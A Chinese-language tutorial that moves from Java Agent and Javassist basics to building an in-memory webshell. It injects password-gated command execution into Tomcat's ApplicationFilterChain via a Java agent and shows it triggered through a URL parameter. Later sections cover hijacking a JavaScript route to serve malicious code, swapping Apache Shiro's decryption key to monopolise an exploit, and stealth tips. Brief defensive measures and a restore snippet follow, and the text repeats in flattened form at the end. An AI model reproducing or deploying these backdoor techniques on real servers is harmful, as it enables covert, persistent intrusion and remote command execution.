Java Agent 从入门到内存马
字数 1166 2025-08-05 19:10:09

Java Agent 技术从入门到内存马实战指南

一、Java Agent 基础概念

1.1 Java Agent 简介

Java Agent 是 JDK 1.5 引入的一项技术,能够在不影响正常编译的情况下修改字节码。它提供了一种优雅的代码注入方式,比 Spring AOP 更加底层和强大。

主要特点:

  • 可以修改已编译类的字节码
  • 无需重新编译源代码
  • 两种加载方式:JVM 启动前(premain)和启动后(agentmain)

1.2 两种加载方式

premain 方式

在 JVM 启动前加载,通过 -javaagent 参数指定。

方法签名:

public static void premain(String agentArgs, Instrumentation inst) { ... }
public static void premain(String agentArgs) { ... }

agentmain 方式

在 JVM 启动后加载,通过 Attach API 动态加载。

方法签名:

public static void agentmain(String agentArgs, Instrumentation inst) { ... }
public static void agentmain(String agentArgs) { ... }

二、Java Agent 开发实践

2.1 premain 实现步骤

  1. 创建项目结构:
agent
├── agent.iml
├── pom.xml
└── src
    ├── main
    │   ├── java
    │   └── resources
    └── test
        └── java
  1. 实现 premain 类:
package com.shiroha.demo;
import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst) throws Exception {
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I`m premain agent!!!");
        }
    }
}
  1. 创建 MANIFEST.MF:
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
  1. 打包并使用:
java -javaagent:agent.jar -jar hello.jar

2.2 agentmain 实现步骤

  1. 扩展 MANIFEST.MF:
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
Agent-Class: com.shiroha.demo.AgentDemo
  1. 使用 Attach API 动态加载:
import com.sun.tools.attach.*;

public class AgentMain {
    public static void main(String[] args) throws Exception {
        String id = args[0];  // 目标JVM的pid
        String jarName = args[1];  // agent jar路径
        
        VirtualMachine vm = VirtualMachine.attach(id);
        vm.loadAgent(jarName);
        vm.detach();
    }
}

三、Instrumentation 核心API

3.1 关键方法

public interface Instrumentation {
    // 添加类文件转换器
    void addTransformer(ClassFileTransformer transformer);
    
    // 移除类文件转换器
    boolean removeTransformer(ClassFileTransformer transformer);
    
    // 重新转换已加载的类
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
    
    // 检查类是否可修改
    boolean isModifiableClass(Class<?> theClass);
    
    // 获取所有已加载的类
    Class[] getAllLoadedClasses();
}

3.2 类信息收集示例

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
        Class[] classes = inst.getAllLoadedClasses();
        FileOutputStream fos = new FileOutputStream("/tmp/classesInfo");
        
        for (Class aClass : classes) {
            String result = "class ==> " + aClass.getName() + 
                          "\n\tModifiable ==> " + 
                          (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
            fos.write(result.getBytes());
        }
        fos.close();
    }
}

四、字节码修改技术

4.1 Javassist 工具介绍

Javassist 是一个强大的字节码编辑库,提供了源级别和字节码级别两种API。

核心类:

  • ClassPool:CtClass 对象的容器
  • CtClass:增强版的 Class 对象
  • CtMethod:增强版的 Method 对象

常用方法:

public abstract class CtBehavior extends CtMember {
    void setBody(String src);       // 设置方法体
    void insertBefore(String src); // 在方法前插入代码
    void insertAfter(String src);  // 在方法后插入代码
    int insertAt(int lineNum, String src); // 在指定行插入代码
}

4.2 字节码修改示例

public class TransformerDemo implements ClassFileTransformer {
    public static final String editClassName = "com.xxxx.hello.hello";
    public static final String editMethod = "hello";

    @Override
    public byte[] transform(...) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethod);
            
            String source = "{System.out.println(\"hello transformer\");}";
            method.setBody(source);
            
            byte[] bytes = ctc.toBytes();
            ctc.detach();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

五、内存马实战开发

5.1 Spring Boot 内存马原理

通过修改 ApplicationFilterChaindoFilter 方法,可以拦截所有HTTP请求:

@Override
public void doFilter(ServletRequest request, ServletResponse response) 
    throws IOException, ServletException {
    if (Globals.IS_SECURITY_ENABLED) {
        // 安全模式处理
    } else {
        internalDoFilter(request, response);
    }
}

5.2 内存马实现代码

  1. 定义要修改的类和方法:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editMethod = "doFilter";
  1. 插入恶意代码:
method.insertBefore(
    "javax.servlet.http.HttpServletRequest request = $1;\n" +
    "javax.servlet.http.HttpServletResponse response = $2;\n" +
    "request.setCharacterEncoding(\"UTF-8\");\n" +
    "String result = \"\";\n" +
    "String password = request.getParameter(\"password\");\n" +
    "if (password != null) {\n" +
    "    if (password.equals(\"xxxxxx\")) {\n" +
    "        String cmd = request.getParameter(\"cmd\");\n" +
    "        if (cmd != null && cmd.length() > 0) {\n" +
    "            // 执行命令代码\n" +
    "        }\n" +
    "        response.getWriter().write(result);\n" +
    "        return;\n" +
    "    }\n" +
    "}"
);

5.3 内存马使用效果

注入后,访问任意URL带上参数即可执行命令:

http://localhost:8080/?password=xxxxxx&cmd=ls -al

六、高级应用场景

6.1 路由劫持攻击

通过判断请求URI,可以劫持特定路由:

String uri = request.getRequestURI();
if (uri.equals("/static/js/1.js")) {
    response.getWriter().write("[恶意js代码]");
    return;
}

6.2 Shiro 密钥替换

修改Shiro的解密密钥,实现"独占"漏洞利用:

// 修改getDecryptionCipherKey方法
method.setBody(
    "{ return org.apache.shiro.codec.Base64.decode(\"4AvVhmFLUs0KTA3Kprsdag==\"); }"
);

七、防御与注意事项

7.1 防御措施

  • 监控JVM的agent加载行为
  • 检查java.lang.instrument包的使用
  • 限制com.sun.tools.attach包的访问

7.2 使用注意事项

  1. 隐蔽性建议:

    • 使用POST请求传输数据
    • 避免使用不存在的路由路径
  2. 技术限制:

    • 相同类名的transformer只能注入一个
    • 修改后的字节码除非重启否则无法直接卸载
  3. 还原方法:

method.setBody(
    "final javax.servlet.ServletRequest req = $1;\n" +
    "final javax.servlet.ServletResponse res = $2;\n" +
    "$0.internalDoFilter(req, res);"
);

八、参考资料

  1. Javassist 官方文档
  2. Java Instrumentation API 文档
  3. JVMTI 规范
Java Agent 技术从入门到内存马实战指南 一、Java Agent 基础概念 1.1 Java Agent 简介 Java Agent 是 JDK 1.5 引入的一项技术,能够在不影响正常编译的情况下修改字节码。它提供了一种优雅的代码注入方式,比 Spring AOP 更加底层和强大。 主要特点: 可以修改已编译类的字节码 无需重新编译源代码 两种加载方式:JVM 启动前(premain)和启动后(agentmain) 1.2 两种加载方式 premain 方式 在 JVM 启动前加载,通过 -javaagent 参数指定。 方法签名: agentmain 方式 在 JVM 启动后加载,通过 Attach API 动态加载。 方法签名: 二、Java Agent 开发实践 2.1 premain 实现步骤 创建项目结构: 实现 premain 类: 创建 MANIFEST.MF: 打包并使用: 2.2 agentmain 实现步骤 扩展 MANIFEST.MF: 使用 Attach API 动态加载: 三、Instrumentation 核心API 3.1 关键方法 3.2 类信息收集示例 四、字节码修改技术 4.1 Javassist 工具介绍 Javassist 是一个强大的字节码编辑库,提供了源级别和字节码级别两种API。 核心类: ClassPool :CtClass 对象的容器 CtClass :增强版的 Class 对象 CtMethod :增强版的 Method 对象 常用方法: 4.2 字节码修改示例 五、内存马实战开发 5.1 Spring Boot 内存马原理 通过修改 ApplicationFilterChain 的 doFilter 方法,可以拦截所有HTTP请求: 5.2 内存马实现代码 定义要修改的类和方法: 插入恶意代码: 5.3 内存马使用效果 注入后,访问任意URL带上参数即可执行命令: 六、高级应用场景 6.1 路由劫持攻击 通过判断请求URI,可以劫持特定路由: 6.2 Shiro 密钥替换 修改Shiro的解密密钥,实现"独占"漏洞利用: 七、防御与注意事项 7.1 防御措施 监控JVM的agent加载行为 检查 java.lang.instrument 包的使用 限制 com.sun.tools.attach 包的访问 7.2 使用注意事项 隐蔽性建议: 使用POST请求传输数据 避免使用不存在的路由路径 技术限制: 相同类名的transformer只能注入一个 修改后的字节码除非重启否则无法直接卸载 还原方法: 八、参考资料 Javassist 官方文档 Java Instrumentation API 文档 JVMTI 规范